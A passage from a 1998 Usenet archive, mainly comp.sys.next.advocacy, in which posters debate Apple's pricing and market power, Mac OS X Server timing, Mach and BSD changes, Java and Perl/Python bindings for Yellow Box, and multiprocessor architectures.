customers and can refuse to sell things to you, but not if they have a
monopoly. )
The thing that is illegal is using _power_ that a company has by its
strength in one market _to prevent competition_ in a different market. For
that to happen, the company doesnt need a monopoly at all, just enough
market power.
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Thu, 17 Sep 1998 08:41:53 -0700
Organization: University of British Columbia
Message-ID: <1dfhnrk.1si6a1684j7uoN@p066.intchg2.net.ubc.ca>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu> <6tkdlv$dgb@news1.panix.com> <rmcassid-1409982105430001@dialin9181.slip.uci.edu> <6tnctm$d3q@news1.panix.com> <edewEzE915.5oG@netcom.com> <6tprgr$7ul@news1.panix.com> <edewEzF1v2.B0G@netcom.com>
User-Agent: MacSOUP/2.4b2
Eric Dew <edew@netcom.com> wrote:
> >>Basic rule in business is that you drop price only when you can't move
> >>the product.
> >
> >Or if you want to move _more_ of the product. Henry Ford did that. So did
> >Edison. And Apple thinks that they had the courage to "Think Different"
> >
> Their economic theories are old, and no longer valid.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Now this is interesting. Please explain. Or is it just generic
refutation on your part?
Everyone has known for some time (and *still* knows, to put it mildly)
about lowballing to get a foothold in the market, to establish market
share with the idea that ultimately one will exploit this. Netscape and
MS have been doing this with browser software. Iomega has been radically
dropping the price of Zip drives, while the street price of discs has
actually risen lately, even though other brands are available. One
lowers the profit margin, sometimes a lot, as a kind of investment for
the future (yes, even beyond the next quarter).
At the moment Apple's production capacity doesn't permit this tactic (on
this front they haven't caught up that that old, invalid guy Henry Ford
yet), but outsourcing the iMac could do it for them.
Apple desperately needs to ensure that when Mac OS X arrives next year,
there's a reasonably large pool of customers out there with an immediate
interest in it.
--
Bruce Bennett
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
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Sender: ouhivagt@somethingfunny.net
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From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 12:46:13 -0500
Organization: Ericsson North America Inc.
Message-ID: <36014AE5.391275AA@ericsson.com>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Gregory H. Anderson wrote:
> I can think of three off the top of my head:
>
> 1) Upgrade to a new major version of Mach (2.x to 3.x), which -- I am led
> to believe -- switches to a true microkernel architecture. That can't have
> been a no-brainer.
Who is responsible for the Mach revision?
> 2) The underlying Unix revision level changed, too. There was no /sbin
> or /usr/sbin in OPENSTEP. Again, not a no-brainer.
Huh? I'm not sure I understand. What changed, exactly? Some files were
moved about? If I port my app from Linux 1.2 to Linux 2.0, in your
estimation, how much have I accomplished?
> 3) *Serious* Java support. OPENSTEP never had it. Now the whole API is
> provided in both Objective-C and Java.
Two things here: a Java VM and language bindings. Sun is responsible in
large part for the VM. Language bindings? This is a significant
revision? Perhaps it is functionally relevant, but I'm sorry, there is
nothing impressive about adding language bindings to an API.
And still no C++ or Perl or Python bindings, as far as I know. If
someone were to come up with Perl bindings for Yellow Box, I'd become
strangely interested in a hurry. Ditto for Python. I don't have the time
or the interest to do it myself.
MJP
Date: Thu, 17 Sep 1998 10:49:20 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <stevehix-1709981049210001@192.168.1.10>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <6trboh$u$1@birch.prod.itd.earthlink.net>
Organization: Close to None
In article <6trboh$u$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Sal Denaro wrote in message <6tprgt$7ul@news1.panix.com>...
>
> >Apple has 5% of the desktop market. Microsoft has over 90%.
>
> Wait, that isn't a good compairison. MS makes software, Apple makes hardware
> and software.
Microsoft also make hardware.
> Apple has 3% of the market.
Cite?
Current figures have been closer to 5% and rising.
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Followup-To: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 17 Sep 1998 17:56:20 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6trig4$216$2@cronkite.cs.umd.edu>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <6tqssi$g67$2@news.idiom.com>
NNTP-Posting-Date: 17 Sep 1998 17:56:20 GMT
John C. Randolph (jcr.remove@this.phrase.idiom.com) wrote:
: UNIX is a microcomputer OS.
A bizarre statement, given that UNIX was created long before the
microcomputer existed.
Sean Luke
seanl@cs.umd.edu
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Followup-To: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 17 Sep 1998 17:52:00 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6tri80$216$1@cronkite.cs.umd.edu>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <6tj90l$dqf$1@cronkite.cs.umd.edu> <APnL1.345$ey.323924@newsfeed.slurp.net> <6tm392$kmv$1@cronkite.cs.umd.edu> <35FE94D7.5072AB44@nstar.net> <6toecp$fds$1@cronkite.cs.umd.edu> <35FFC2C9.92F5264F@nstar.net>
NNTP-Posting-Date: 17 Sep 1998 17:52:00 GMT
Michael Peck (mjpeck@nstar.net) wrote:
: Sean Luke wrote:
: > As my statement above didn't use the word "monopoly" once, how again am I
: > mistaken?
: Did you make these remarks within a context, or were you just expositing
: on matters in general? I thought we were discussing the following:
Your reply was to a comment I made about markets, not about monopolies.
Just be more careful in your attribution. No biggie.
: > Careful there, Mike. As copier service is a vertical market, the service
: > industry most certainly is a customer of Kodak's.
: That's so off-track I almost laughed. The issue is whether or not
: certain copier service companies were allowed to compete with Kodak for
: service contracts on Kodak copiers. These service companies were *not*
: Kodak's customers if they couldn't buy the part in question.
I'm not familiar with the specifics of the case. You're saying that the
service companies weren't *ever* allowed access to these parts, or that
Kodak suddenly stopped giving them access? I smell something else going
on in the case, not the least of which that it was a civil suit (right?)
and not a criminal case, which suggests to me that an agreement was broken
somewhere.
: If I build PC clones I may be Micron's competitor. If I buy Micron
: motherboards for my clones I may *also* be Micron's customer.
Sure. It is the danger of vertical integration: you wind up competing
with your consumers.
Sean Luke
seanl@cs.umd.edu
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 18:14:14 GMT
Organization: Michigan State University
Message-ID: <6trjhm$7an$4@msunews.cl.msu.edu>
References: <6toqvk$aqs$1@nnrp1.dejanews.com> <6tpa71$5s1@shelob.afs.com>
<6tpefa$18r$2@news.xmission.com>
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Cc: don@misckit.com
In <6tpefa$18r$2@news.xmission.com> Don Yacktman wrote:
> Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> > As a developer, I am comfortable with the release schedule that has been
> > indicated. I tend to agree with Malcolm that October is a likelier date
> > than September, but I'm comfortable in that general timeframe.
>
> Yeah. It takes about a month to get the CDs pressed, packaged, and ready to
> ship. I expect to see Mac OS X no sooner than mid October, but I sort of
> suspect it won't be too much later than that, barring natural disasters, that
> is...
We can only hope right :)
> > But I am
> > equally unhappy with the lack of pricing and marketing information. I
> > think there are still a number of people inside Apple who don't quite
> > know what they want to do with all this for the time being. They know
> > where they are trying to get next year, but often this "interim" Server
> > release seems in need of a true champion.
>
> That's putting it mildly!
No kidding!
> > Stephan, to answer your original question: Yes, I think OS X Server is
> > an imminent probability. No, Apple has not given up on it.
>
> I think that anyone who knows what is going on at Apple would have to agree
> with Greg's (and mmalc's) assessment.
In general I agree - though again we can only hope. Steve has done some
many strange things I really wouldn't put it beyond them to just - NOT -
ship MacOS X Server.. Look at how close they were with the NRW.
> > No, I do not
> > know how much it will cost, how it will be sold, or to whom it will be
> > marketed. But I hope *someone* latches onto what a gem they have, and
> > starts promoting it soon. Just MHO.
>
> That's MHO, too. It really is quite a gem. With a few minor tweaks this
> thing could be positioned as a total Win NT 5.0 killer, frankly. Even the
> UNIX guys at work have shown quite a bit of interest in this product, which
> is a far cry from their normal heaping of sarcastic derision upon Apple's
> products. Having BSD under the hood really intrigues them. :-)
>
I think many would agree. Though if you told them that Apple has
plainly stated it will be the first and only release for x86 and seen
what their reaction is. I bet that would have been interesting.
I would guess we could only hope that enough copies are sold that
Apple would reconsider x86 support, though at this point it's a chicken
and egg scenario. If not enough buy it - it goes away - if enough do -
maybe it will stay.
As to cost who can say. Hopefully Apple will do the right thing and
bundle it FAT, and reasonably priced so x86 folk could buy to try.
Thing is though I'd bet they'll price it very high but yet offer to bundle
it with PPC hardware so as to encourage people who would have
purchased x86 to buy PPC. In the latter case though Apple would
only bring into the fold people who would have purchased it anyway
(i.e. Openstep on x86 users) and not the folks they really want to
give it a shot (NT shops). Though I expect that the lack of SMP
may be enough to turn them off to it. Also a very high price would
probably spell the death of MacOS X Server - though it probably
would still sell more copies than NeXT ever did ;)
BTW: MY $100 ($50 on each) would go with mmalc on a) and b)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 20:16:40 +0200
Organization: The Computer Society at Lund
Message-ID: <6trjm8$n5o$1@bartlet.df.lth.se>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com>
NNTP-Posting-User: cb
In article <36014AE5.391275AA@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Gregory H. Anderson wrote:
>
>> I can think of three off the top of my head:
>>
>> 1) Upgrade to a new major version of Mach (2.x to 3.x), which -- I am led
>> to believe -- switches to a true microkernel architecture. That can't have
>> been a no-brainer.
>
>Who is responsible for the Mach revision?
Actually, I beleive the change of the underlying Mach kernel is not
scheduled until Mac OS X (non-server).
>
>> 2) The underlying Unix revision level changed, too. There was no /sbin
>> or /usr/sbin in OPENSTEP. Again, not a no-brainer.
>
>Huh? I'm not sure I understand. What changed, exactly? Some files were
>moved about?
Much more than that. The move from 4.3BSD to 4.4BSD adds working POSIX
support, among other things.
>If I port my app from Linux 1.2 to Linux 2.0, in your
>estimation, how much have I accomplished?
We are not talking about porting an application from one version of a
kernel to another, with no change of the underlying API.
We are talking about replacing parts of the kernel.
That is more akin to upgrading the Linux kernel from version 1.2 to
version 2.0.
>> 3) *Serious* Java support. OPENSTEP never had it. Now the whole API is
>> provided in both Objective-C and Java.
>
>Two things here: a Java VM and language bindings. Sun is responsible in
>large part for the VM.
But there are a whole bunch of native classes that have to be written to
work correctly and quickly. This is not just about the availability of
java at all, but also about the performance of the java environment.
>Language bindings? This is a significant
>revision? Perhaps it is functionally relevant, but I'm sorry, there is
>nothing impressive about adding language bindings to an API.
You seem quite eager to discount a lot of work as 'nothing impressive',
especially in the light of not knowing the details of what that work
entails. However, I do not know enough about the details of this myself to
offer any great insight; suffice it to say that my opinion about the
impressiveness of the addition of solid, working java bindings differs
from yours, largely because it is not just a binding to an API, but to the
actual Objective-C runtime environment, making it possible to take a class
written in Objective-C, subclass it in Java, and use objects of the
resulting class in further Objective-C code. (Someone from Apple or with
insight into the actual development at Apple please correct me if I am
wrong.)
>And still no C++ or Perl or Python bindings, as far as I know. If
>someone were to come up with Perl bindings for Yellow Box, I'd become
>strangely interested in a hurry. Ditto for Python. I don't have the time
>or the interest to do it myself.
Go to <http://www.tiptop.com/>
TipTop offer a product called 'Objective-Everything' which offers OpenStep
and YellowBox bindings for Perl, Python, Tcl, and (if running with
WebObjects) WebScript.
It is a commercial product. However, the licensing is quite nice (to quote
from the web page):
--- begin quote ---
Best of all, developer licenses are FREE for educational use, for
non-commercial use, and even for commercial use by and for companies with
less than US $1 million in annual revenue!
--- end quote ---
A C++ binding would not make much sense, since you can intermingle C++ and
Objective-C source code with Apple's compiler.
>MJP
// Christian Brunschen
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 18:16:11 GMT
Organization: MiscKit Development
Message-ID: <6trjlb$18r$4@news.xmission.com>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com>
NNTP-Posting-Date: 17 Sep 1998 18:16:11 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
> And still no C++ or Perl or Python bindings, as far as I know. If
> someone were to come up with Perl bindings for Yellow Box, I'd become
> strangely interested in a hurry. Ditto for Python. I don't have the time
> or the interest to do it myself.
GCC does ObjC++ just fine. You can argue about how _well_ it works--but at
least it has improved over the years. The support to mix C, C++, and ObjC
has been a part of the environment since the beginning.
For the other languages, take a close look at Objective-Everything from
www.tiptop.com. They offer you bindings for TCL, Perl, Python, and
WebScript. Who knows, maybe they'll add more over time? It started out with
just TCL way back when the product was first introduced...and Pedja has said
that any language which is sufficiently dynamic can be attached to his inter
language bridge technology. (I bet he would have done Java if Apple hadn't
got there first...)
I'm trying to work on a review of the product for Stepwise. The biggest
problem is writing something that sounds objective (pardon the pun). This is
a great product and it is difficult to be honest about it without sounding
like a maniac spouting unbelievable hyperbole.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don/index.html">My home page</a>
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 13:17:40 -0500
Organization: Ericsson North America Inc.
Message-ID: <36015244.4E7CFD4C@ericsson.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <6tj90l$dqf$1@cronkite.cs.umd.edu> <APnL1.345$ey.323924@newsfeed.slurp.net> <6tm392$kmv$1@cronkite.cs.umd.edu> <35FE94D7.5072AB44@nstar.net> <6toecp$fds$1@cronkite.cs.umd.edu> <35FFC2C9.92F5264F@nstar.net> <6tri80$216$1@cronkite.cs.umd.edu>
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Sean Luke wrote:
[cut]
> : If I build PC clones I may be Micron's competitor. If I buy Micron
> : motherboards for my clones I may *also* be Micron's customer.
>
> Sure. It is the danger of vertical integration: you wind up competing
> with your consumers.
That's a separate issue, but you should note that I said "customer" and
not "consumer". There is a difference: A customer is anyone who buys
from you; customers are often competitors. Consumers, on the other hand,
"consume" the product. They are end-users, not resellers.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 20:38:15 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6trrvn$8dm@newsb.netnews.att.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <360080D2.8389C025@exu.ericsson.se> <6touut$4ea@newsb.netnews.att.com> <3601394A.D37EAB78@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Want to take a guess at how many lines of code are in SAP/R3, for
>instance? Large software projects are just that: large software
>projects. The project engineering needed for such projects, while not
>insignificant, has been studied by the deepest pockets in the world, not
>the least of which are NASA and the United States Army.
I have no idea how many lines of code there are in SAP/R3.
Anyone ?
I also know that very large software projects usually have massive
schedule and cost overruns, despite the study by the deepest pockets
in the world.
>Microsoft learned much during the creation of Windows NT. I do not
>believe that Microsoft has forgotten a bit of it. They may have ignored
>the lessons of history with regard to elegance, but I do not think, as
>an impartial observer, that I can reasonably doubt Microsoft's brute
>force.
The initial version of Windows NT was about 10% of the size of NT 5.0.
Another key fact about software development is that development effort
doesn't scale linearly with the size of the project; it grows much more
rapidly than project size.
[Comments about Apple's ineptness deleted.]
-arun gupta
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: A prediction
Message-ID: <edewEzFxL8.H0D@netcom.com>
Sender: edew@netcom.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <edewEzE915.5oG@netcom.com> <360027ec.0@news.depaul.edu> <6tr0r9$qm6$1@nnrp1.dejanews.com>
Date: Thu, 17 Sep 1998 18:19:56 GMT
In article <6tr0r9$qm6$1@nnrp1.dejanews.com> spagiola@my-dejanews.com writes:
>Eric Dew <edew@netcom.com> wrote:
>> Look, they're selling the iMac as fast as they can produce them. They
>> can't produce any more or any faster, so why drop the price? If anything,
>> they'd be better off adding a little bit more of feature and upping the
>> price. That way, they can control the inventory a bit better.
>> Basic rule in business is that you drop price only when you can't move
>> the product.
>
>While I agree on the general point, I think one needs to be careful. If you
>wait until demand drops off before lowering prices to remain competitive, you
>risk having all those Apple nay-sayers out there, who are currently eating
>their hearts out, jump right back out saying "Hah! see? we told you iMac was
>a one-day wonder!" and re-igniting the whole "Apple is doomed" feeling.
>
>So I think Apple does need to make some carefully-timed adjustments in both
>prices and features to maintain the iMac (and its other products) competitive
>with wintel offerings. Now that they've regained momentum, they need to make
>sure they retain it. Being late in adjusting their prices downward could well
>harm that momentum.
>
Point well taken. I agree with your caution. Although, I don't see the
need to make the move at the moment. Maybe they can plan for it (I'm sure
they did, or should have done this analysis), and probably drop the price
just before the interest wanes.
On the other hand, rather than just sitting on the iMac and drop price
just before interests wanes, they (Apple) can start preparing for a pricier
model loaded with other features (a concession to floppies?) and plan for
the obsolescence of the original iMac.
EDEW
>Stefano Pagiola
>---
>My opinions alone
>Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
>Server user
>
>
>-----== Posted via Deja News, The Leader in Internet Discussion ==-----
>http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: holger@_REMOVE_THIS_.wizards.de (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 18:27:02 GMT
Organization: The secret circle of the NSRC
Message-ID: <6trk9m$jp@ragnarok.en.uunet.de>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com>
<36014AE5.391275AA@ericsson.com>
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Holy shit Michael, you really seem to have gone off the deep end.
> > 1) Upgrade to a new major version of Mach (2.x to 3.x), which -- I am led
> > to believe -- switches to a true microkernel architecture. That can't have
> > been a no-brainer.
>
> Who is responsible for the Mach revision?
Apple.
> > 2) The underlying Unix revision level changed, too. There was no /sbin
> > or /usr/sbin in OPENSTEP. Again, not a no-brainer.
>
> Huh? I'm not sure I understand. What changed, exactly? Some files were
> moved about? If I port my app from Linux 1.2 to Linux 2.0, in your
> estimation, how much have I accomplished?
The whole underlying base OS changed. That has 'slight' repercussions
into the rest of the system.
> > 3) *Serious* Java support. OPENSTEP never had it. Now the whole API is
> > provided in both Objective-C and Java.
>
> Two things here: a Java VM and language bindings. Sun is responsible in
> large part for the VM. Language bindings? This is a significant
Right, especially on the PowerPC. Hello??
> revision? Perhaps it is functionally relevant, but I'm sorry, there is
> nothing impressive about adding language bindings to an API.
Maybe you should actually *look* at them before you pass judgement.
I've spent the better part of my computing life writing and wrapping
APIs, and the Java/ObjC integration is nothing short of amazing.
It's pretty irrelevant that *you* can't use it or don't see its value.
> And still no C++ or Perl or Python bindings, as far as I know. If
C++ bindings are doomed to fail (please think really long and really
hard about that before replying). Tcl, Perl and Python 'bindings' exist.
Go to www.tiptop.com and download them, for all supported YellowBox
platforms.
> someone were to come up with Perl bindings for Yellow Box, I'd become
> strangely interested in a hurry. Ditto for Python. I don't have the time
> or the interest to do it myself.
You don't need to. All you *really* need to do is get better informed.
Holger
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 18:18:23 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6trjpf$bkq@shelob.afs.com>
References: <36014AE5.391275AA@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> writes
> Who is responsible for the Mach revision?
Sorry, don't know. But regardless of who did the underlying work on the
kernel, integrating it into the OS framework is a not-inconsiderable job.
As I understand it, going from Mach 2.x to 3.x requires fundamental
architectural changes. But being an applications programmer, I admit
I am not best-suited to discuss this.
> > 2) The underlying Unix revision level changed, too. There was no /sbin
> > or /usr/sbin in OPENSTEP. Again, not a no-brainer.
>
> Huh? I'm not sure I understand. What changed, exactly? Some files were
> moved about? If I port my app from Linux 1.2 to Linux 2.0, in your
> estimation, how much have I accomplished?
What I mean is, NEXTSTEP and OPENSTEP had been based on a pretty old
version of Unix, and the lack of /sbin and /usr/sbin are indicative of
that. Not only did files move, but some went away and others arrived.
I know this through personal experience, because a bunch of my own batch
files had to be revised. But again, others can state with more precision
exactly how far up the upgrade tree everything rose.
> > 3) *Serious* Java support. OPENSTEP never had it. Now the whole API is
> > provided in both Objective-C and Java.
>
> Two things here: a Java VM and language bindings. Sun is responsible in
> large part for the VM. Language bindings? This is a significant
> revision? Perhaps it is functionally relevant, but I'm sorry, there is
> nothing impressive about adding language bindings to an API.
It's not just language bindings; the entirety of the Frameworks (AppKit,
Foundation, etc) were rewritten into Java executables. Plus all of the
documentation had to be rewritten. These things all take time, in answer
to your original question of "what's taking two years to finish?".
> And still no C++ or Perl or Python bindings, as far as I know.
Well, the compiler has always been able to deal with C++. But the style
of runtime binding in Objective-C is not possible in C++, so you cannot
rebuild the Frameworks in native C++. This is well documented, and I
don't have time to retype all the details. (Besides, it it WERE possible,
don't you think NeXT or Apple would have done it? After all, it didn't
take them *that* long to justify and accomplish the transition to Java,
and that's not even as popular as C++.)
I have no experience with Perl and Python, so no comment.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 09:56:39 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1709980956390001@sdn-ar-001casbarp202.dialsprint.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <5UuI1.1221$2s.1206519@newsfeed.slurp.net> <6tqp30$its$1@nnrp1.dejanews.com> <6tqssi$g67$2@news.idiom.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6tqssi$g67$2@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
> UNIX is *far* from stable. UNIX sysadmins think a one-year uptime is
> impressive. For a bit of perspective, consider that Tandem and Stratus both
> consider a reboot an event worthy of a service call!
And were these serice calls part of the warranty, or were they additional
charges?
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: igb@patton-tm.East.Sun.COM (Iain Bason - Sun High Performance Computing)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 18:53:25 GMT
Organization: Sun Microsystems Inc. - BDC
Message-ID: <6trlr5$a8h@walters.East.Sun.COM>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net> <36008F55.1180C591@exu.ericsson.se>
In article <36008F55.1180C591@exu.ericsson.se>,
Michael Peck <Michael.Peck@Ericsson.com> wrote:
>Charles W. Swiger wrote:
>
>> They did, of course, ship a NUMA AMP (non-uniform memory architecture
>> asymmetric multiprocessing...which is about as close to techobabble as I like
>> to come) version-- the NeXT Dimension system.
>
>Chuck, what does it mean that it's "asymmetric"? Do you have any Web
>references to NUMA-style architectures?
>
>MJP
Symmetric means that each processor has the same access to all the parts
of the system as any other processor. Among other things:
+ Any processor can access any I/O device at the same speed as any
other processor, and using the same address
+ Any processor can access any word in memory at the same speed as
any other processor, and using the same address
+ Any processor can handle any interrupt at the same speed as
any other processor
It turns out that SMPs are much easier to program than AMPs.
An asymmetric system is one that's not symmetric. The terminology becomes
a little murky because of all the possible configurations, but I'm pretty
certain you can find examples of systems that are symmetric except for
any one of the following:
+ Only one processor handles interrupts
+ Different processors have access to different I/O devices
+ For any particular word of memory, some processors can access it
faster than others (this is how NUMA is typically used these days)
+ Each processor has some private memory, in addition to the
memory that's shared amongst all processors
Unfortunately, I can't recall examples of the various kinds (or rather I can't
recall what features various MP systems had). If you're really interested,
you can look up systems such as Thinking Machines CM5, BBN Butterfly,
Kendall Square Research KSR1, DEC Firefly, NYU Ultracomputer, MIT Alewife,
and on and on.
Of the surviving architectures, check out Tera (http://www.tera.com) for
a NUMA that attempts to hide the non-uniformity of memory accesses,
SGI (http://www.sgi.com) for a relatively modern NUMA architecture, and of
course Sun (http://www.sun.com) for a modern SMP architecture.
A links page for high performance computing is http://computer.org/parascope/.
Iain
From: mazulauf@atmos.met.utah.edu (Mike Zulauf)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 13:35:30 -0600
Organization: Universtity of Utah - Department of Meteorology
Message-ID: <mazulauf-1709981335310001@grumpy.met.utah.edu>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <6trboh$u$1@birch.prod.itd.earthlink.net> <stevehix-1709981049210001@192.168.1.10>
NNTP-Posting-Date: 17 Sep 1998 19:33:17 GMT
In article <stevehix-1709981049210001@192.168.1.10>, stevehix@safemail.com
(Steve Hix) wrote:
> In article <6trboh$u$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
> <s124@[REMOVE]earthlink.net> wrote:
>
> > Apple has 3% of the market.
>
> Cite?
>
> Current figures have been closer to 5% and rising.
Cite?
What goes around comes around.
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 22:19:44 GMT
Organization: MiscKit Development
Message-ID: <6ts1u0$18r$5@news.xmission.com>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com> <3601563D.7C573777@ericsson.com>
NNTP-Posting-Date: 17 Sep 1998 22:19:44 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Don Yacktman wrote:
> > GCC does ObjC++ just fine. You can argue about how _well_ it
> > works--but at least it has improved over the years. The support
> > to mix C, C++, and ObjC has been a part of the environment
> > since the beginning.
>
> It compiles them, yes, but does Yellow Box support function
> calls from C++?
Of course. Your C++ objects can send messages to ObjC objects, and
